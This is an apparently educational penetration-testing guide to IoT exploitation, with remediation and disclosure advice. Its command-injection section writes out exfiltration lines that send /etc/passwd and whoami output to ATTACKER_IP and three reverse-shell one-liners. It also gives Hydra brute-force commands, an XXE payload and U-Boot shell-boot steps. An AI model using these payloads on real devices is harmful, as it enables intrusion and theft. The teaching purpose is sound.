14 min read

Exploitation
Advanced

IoT Exploitation

This section covers common vulnerability patterns in IoT devices and practical exploitation techniques across web interfaces, network services, and firmware.

Exploitation Decision Ladder

Not a kill chain but a ladder: each gate is asked in turn and a No drops you to the next rung, while a Yes joins the rail. Default creds, injection, an auth bypass, then hardware — and every rung that opens still ends in the same pivot.

Scroll sideways to see the whole diagram

Default & Hardcoded Credentials

The most common IoT vulnerability. Many devices ship with known credentials that users never change.

Read the table as a pattern rather than a promise. Every vendor named here forces a credential change on first boot in its current firmware, so an unchanged factory password is evidence of a device that was never commissioned rather than a login that still works. The list is still worth carrying into an engagement because defaults are documented and predictable — printed on the label, in the manual, or left in the firmware — and what turns one into a finding is a service that accepts it today.

Vendor Username Password Protocol
Hikvision admin 12345 HTTP/RTSP
Dahua admin admin HTTP/RTSP
Ubiquiti ubnt ubnt SSH/HTTP
MikroTik admin (blank) SSH/Winbox
TP-Link admin admin HTTP

Brute force is the expensive way to answer the same question. Try the documented candidates for the model first — the vendor, the manual, a string from the firmware, a value from the app decompile — and record the attempt count either way, because a client needs to know whether their lockout policy held under a credential sweep as much as whether a password was found.

default-creds.sh
# Common default credentials
admin:admin
admin:password
admin:1234
root:root
root:(blank)
user:user
support:support

# Manufacturer-specific defaults
# Hikvision: admin:12345
# Dahua: admin:admin
# Ubiquiti: ubnt:ubnt
# MikroTik: admin:(blank)
# TP-Link: admin:admin

# Resources for default passwords
https://www.defaultpassword.com
https://cirt.net/passwords
https://datarecovery.com/rd/default-passwords/

# Brute force with Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# Telnet brute force
hydra -l root -P passwords.txt telnet://192.168.1.100

Hardcoded Credentials in Firmware

hardcoded-creds.sh
# After extracting firmware, search for credentials
cd squashfs-root

# Shadow file analysis
cat etc/shadow
# Format: user:hash:...
# $1$ = MD5 (weak)
# $5$ = SHA-256
# $6$ = SHA-512

# Crack with John
john --wordlist=/usr/share/wordlists/rockyou.txt shadow_file

# Crack with Hashcat
hashcat -m 500 hashes.txt wordlist.txt   # MD5
hashcat -m 1800 hashes.txt wordlist.txt  # SHA-512

# Search for passwords in configs
grep -ri "password|passwd|pwd" etc/
grep -ri "PRIVATE KEY" .
strings usr/bin/httpd | grep -i pass

A hash in the shadow file is a claim about an account, not about access. Read the format before spending a wordlist on it: a weak MD5-crypt entry is crackable, an empty or locked field is not an account at all, and a hash that resists the list tells you the device has a login rather than that it is exposed. The finding is the pair — the account and the service that accepts it — or, where only the image can be tested, an explicit statement that the evidence is image-only.

Command Injection

IoT web interfaces often pass user input directly to shell commands without sanitization.

Injection on a device is usually a diagnostic feature that shells out. Ping, traceroute, DNS lookup, NTP configuration and firmware upload all take a value that ends up in a command line, which is why those fields are tested first — and why a device without them is a harder target than its port list suggests. The proof is a marker the device cannot fabricate: an out-of-band callback or a measured delay rather than a page that echoes your input back.

Common Injection Points

High-Risk Functions

  • Ping/traceroute tools
  • Network configuration
  • Firmware update handlers
  • File upload/download
  • NTP server settings

Injection Characters

  • ; command separator
  • | pipe
  • `cmd` backticks
  • $(cmd) subshell
  • && / || conditionals
cmd-injection.sh
# Test payloads for ping function
# Normal: 192.168.1.1
# Injection tests:
192.168.1.1; id
192.168.1.1 | id
192.168.1.1 && id
$(id)
`id`
192.168.1.1%0aid
192.168.1.1%0a/bin/cat /etc/passwd

# Blind command injection (no output)
# Use time delays
192.168.1.1; sleep 10
192.168.1.1 | sleep 10

# Out-of-band exfiltration
192.168.1.1; wget http://ATTACKER_IP/$(whoami)
192.168.1.1; curl http://ATTACKER_IP/`cat /etc/passwd | base64`
192.168.1.1; ping -c 1 $(whoami).ATTACKER_DOMAIN

# Reverse shell
;nc ATTACKER_IP 4444 -e /bin/sh
;/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

The grade depends on where the command ran. A measured delay proves execution; an out-of-band request proves execution and reachability at once, which is stronger; output rendered in the response is the easiest of the three to demonstrate and the least common on a device. Stop at the first proof — the minimum that shows the command ran is the whole finding — and treat a shell as a separate claim, because the uid decides what it is worth.

Authentication Bypass

Common Bypass Techniques

auth-bypass.sh
# Direct URL access (missing auth checks)
/admin/config.html
/cgi-bin/admin.cgi
/setup.cgi?next_file=main.html

# Cookie manipulation
# Change: admin=0 to admin=1
# Change: authenticated=false to authenticated=true

# HTTP verb tampering
# POST /admin/delete → GET /admin/delete

# Parameter pollution
/login?user=admin&user=guest  # Server may use second value

# Path traversal to bypass auth
/public/../admin/config

# Default/backdoor endpoints
/goform/telnetd         # Enable telnet
/debug/console          # Debug console
/cgi-bin/test.cgi       # Test pages left in production

# Hidden form fields
<input type="hidden" name="admin" value="0">
# Change to value="1" and submit

A bypass is graded by what the missing check protected. A URL that renders an admin page without a session is broken access control; a cookie whose value the client can set is a trust decision made on the wrong side; a hidden field that flips a privilege is the same bug with a smaller blast radius. The note needs the request, the response and the privilege the response represents, not the observation that the page loaded.

Session Hijacking

session-attacks.sh
# Predictable session tokens
# Many IoT devices use weak session IDs:
# - Sequential numbers
# - Timestamp-based
# - Device MAC address
# - Static tokens for all sessions

# Capture session cookies
# Use Burp Suite or browser dev tools

# Test for session fixation
1. Get session token as attacker
2. Send link with token to victim
3. Victim authenticates
4. Attacker uses same token

# Check for session token in URL
http://device/admin?session=ABC123
# Can be leaked via Referer header

Predictable tokens are worth one experiment: log in twice and compare. A token that increments, that encodes a MAC address or a timestamp, or that stays identical across sessions is predictable from two samples, and the finding is the prediction rather than the guess. A token carried in the URL is a related but weaker observation, since it depends on where that URL leaks — a Referer header, a log, a screenshot — and naming the leak you demonstrated is what makes it a finding.

Firmware Update Attacks

firmware-update-exploit.sh
# Check update mechanism security

# 1. No signature verification
# Can flash arbitrary firmware
# - Modify extracted firmware
# - Add backdoor/reverse shell
# - Repack and flash

# 2. Downgrade attacks
# Flash older vulnerable firmware
# If device doesn't check version number

# 3. MITM firmware updates
# Intercept HTTP update requests
# Replace with malicious firmware
mitmproxy -p 8080 --ssl-insecure
# Script to replace firmware download

# 4. Update server compromise
# If update URL is predictable:
https://vendor.com/fw/MODEL_VERSION.bin

# Check for signature validation
binwalk firmware.bin | grep -i signature
strings firmware.bin | grep -i "verify|sign|rsa|sha"

An update handler is the most valuable target on the device because it is the one component that accepts new code by design. Three questions decide it: whether the image is signed, whether the signature is verified on the device rather than only by the downloader, and whether a downgrade is refused. A signed update whose verification can be skipped is not a signed update, and an unsigned handler turns every other finding on this page into persistence.

Network Service Exploitation

Telnet/SSH Exploitation

telnet-ssh-attacks.sh
# Enable hidden telnet
# Many devices have telnet disabled by default but...
# Enabled via special URLs:
http://device/goform/telnetd
http://device/cgi-bin/telnetd.cgi?action=start

# Or via hidden UART commands
# Or via special button combinations during boot

# SSH key reuse
# Extract SSH host keys from firmware
cat etc/dropbear/dropbear_rsa_host_key
# If same key used across all devices:
# Can impersonate or MITM any device

# Brute force
hydra -l root -P passwords.txt ssh://192.168.1.100
medusa -h 192.168.1.100 -u root -P passwords.txt -M ssh

Host keys are the tell for SSH. A key embedded in the firmware image is identical on every unit built from that image, so it allows impersonation and decryption of captured sessions without any cipher being broken; comparing the key from two devices is the whole test. Hidden telnet is the same question in a simpler form: an interface that is meant to be off is one URL or one boot-time condition away from being on.

UPnP Exploitation

upnp-attacks.sh
# Discover UPnP devices
upnpc -l

# Add arbitrary port forward
upnpc -a 192.168.1.100 22 22 TCP    # Forward port 22

# Using miranda for advanced UPnP attacks
miranda
> msearch
> host list
> host get 0
> host send 0 WANIPConnection AddPortMapping

# UPnP SOAP injection
# Some implementations vulnerable to XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<s:Envelope>
  <s:Body>
    <NewInternalClient>&xxe;</NewInternalClient>
  </s:Body>
</s:Envelope>

UPnP abuse creates exposure rather than exploiting a bug. A mapping added over the control channel usually outlives the test, so it has to be removed and the removal verified from outside the network; a mapping that cannot be removed is worth more to the client than the request that added it. The SOAP body is also a parser you do not control, which is why entity expansion and unexpected elements are worth trying wherever the implementation looks hand-rolled.

Physical Exploitation

Bootloader Attacks

bootloader-exploit.sh
# Interrupt U-Boot
# Press key during boot (often Enter, Space, or specific key)
Hit any key to stop autoboot:

# U-Boot environment manipulation
U-Boot> printenv
U-Boot> setenv bootargs init=/bin/sh
U-Boot> saveenv
U-Boot> boot

# Or boot from network
U-Boot> setenv serverip 192.168.1.100
U-Boot> setenv ipaddr 192.168.1.50
U-Boot> tftpboot 0x80000000 rootfs.ubi
U-Boot> bootm 0x80000000

# Bootloader password bypass
# Sometimes passwords stored in environment
U-Boot> printenv bootpassword

A bootloader prompt is the strongest of the software findings because it precedes every control the firmware applies. Redirecting the boot arguments to a shell, disabling a signature check in memory or booting an image over TFTP all reach the same place: code running before the device's own protections exist. Record the prompt, the environment as it was, the change made and whether it survived a reboot, since a volatile change is a weaker claim than a persistent one.

The Cloud Surface the Device Exposes

This page does not test the cloud service itself, and nothing here should be read as a claim that it does. Testing the service needs an account, the API and the provider's permission, which is a different engagement described under Cloud Pentesting and API Pentesting. What belongs here is the surface the device hands you: the endpoints it calls, the identifiers it presents, and the keys it ships with. Each of those is reachable from the device or from its own firmware, so each is a finding about the device even where the weakness is the service's.

cloud-backend-exploit.sh
# Most IoT devices connect to cloud services
# Attack vectors:

# 1. IDOR - Access other users' devices
GET /api/device/12345/status
# Try: /api/device/12346/status

# 2. API key extraction from mobile app/firmware
grep -r "api_key|apikey|api-key" .
strings app.apk | grep -i key

# 3. Device impersonation
# If device ID is predictable (MAC-based)
# Forge requests as another device

# 4. Man-in-the-Middle
# If certificate validation weak:
mitmproxy --ssl-insecure
# Intercept device-to-cloud traffic

# 5. Weak authentication between device and cloud
# Some use device MAC + simple hash
# Easily reproduced by attacker

Exploitation Checklist

Authentication

  • ☐ Try default credentials
  • ☐ Check for hardcoded credentials in firmware
  • ☐ Test authentication bypass techniques
  • ☐ Check for session management issues

Injection

  • ☐ Test all input fields for command injection
  • ☐ Check ping/diagnostic functions
  • ☐ Test file upload functionality
  • ☐ Look for eval/system calls in source

Network Services

  • ☐ Check for hidden services (telnet, SSH)
  • ☐ Test UPnP for port forward injection
  • ☐ Look for debug endpoints
  • ☐ Test firmware update security

Hardware

  • ☐ Access UART console
  • ☐ Interrupt bootloader
  • ☐ Extract/modify firmware via flash
  • ☐ Check for test/debug modes

Responsible Disclosure

When you find vulnerabilities in IoT devices, practice responsible disclosure. Contact the manufacturer first and give them reasonable time to patch before public disclosure.

Request, Response and Effect

An exploitation finding is a request, a response and an effect, and the three are separate pieces of evidence. Quote the payload and the response that proved execution, with the timestamp and the tool that sent it, and keep the effect to the minimum that proves reach: the output of one command is a finding, and the contents of the file it could have read do not need to be reproduced to make it one.

Then qualify the device. A match against a published default proves the device ships weak; it does not prove an attacker can reach that service from anywhere but the segment you were on, and the report has to keep those two apart. A status code proves the handler accepted the request rather than a command having run, and a shell as an unprivileged user is a different impact statement from root.

Separate the lab from the estate, too. Results from DVRF, IoTGoat or an emulated image describe the lab and support a technique rather than a client finding; a public advisory applied to the wrong build is the same mistake in another register, which is why the firmware version and patch level are confirmed before a CVE is claimed against a device on the client's network.

Leave the device as you found it, and write down that you did. Anything created, started or modified belongs in the note with the confirmation that it was removed and the state restored, and that record is also what answers the question when the device misbehaves the following week.

IoT Exploitation Labs

Practice IoT vulnerability exploitation in controlled environments.

DVRF Command Injection Custom Lab medium
Command injectionAuthentication bypassDefault credentialsShell access
IoTGoat Web Exploitation Custom Lab easy
Web interface attacksHardcoded credentialsInsecure servicesFirmware backdoors

Evidence Collection

Device and firmware: The model and firmware version as deployed, with the patch level.

Interface used: The endpoint, port, protocol or physical interface, and whether it was reachable from the tested segment.

Request and response: The exact payload, the response that proved it, the timestamp and the tool that sent it.

Effect: The command output, file read or state change, kept to the minimum that proves reach.

Credential source: Default list, firmware string or brute force, with the attempt count.

Cleanup: Anything created, started or modified, and confirmation that it was removed.

False Positives

  • Default credential on an unreachable device: A wordlist match proves the device ships weak, not that it is reachable.
  • Injection returning a status code: A 200 means the handler accepted the request.
  • Shell as an unprivileged user: Read the uid before calling it root.
  • Emulated target: DVRF, IoTGoat and Firmadyne describe the lab, not the estate.
  • CVE against the wrong build: Confirm the firmware version and patch level first.

Remediation

Firmware and update path

  • • Sign updates, verify them on the device, and reject downgrades. An unsigned update handler turns every other finding into persistence.
  • • Remove debug endpoints and test CGI from release images, and provision unique credentials per device.

Service and network surface

  • • Disable telnet, and block UPnP WAN mapping at the router so a device cannot open its own port.
  • • Put management interfaces on a restricted segment, and require authentication on any diagnostic function that shells out.

Cloud and identity

  • • Give each device its own cloud identity with certificate validation on both ends, and enforce object-level authorisation on device APIs.

Verification schedule

  • • Audit firmware versions across the fleet quarterly, and re-test exposed services after each release or gateway change.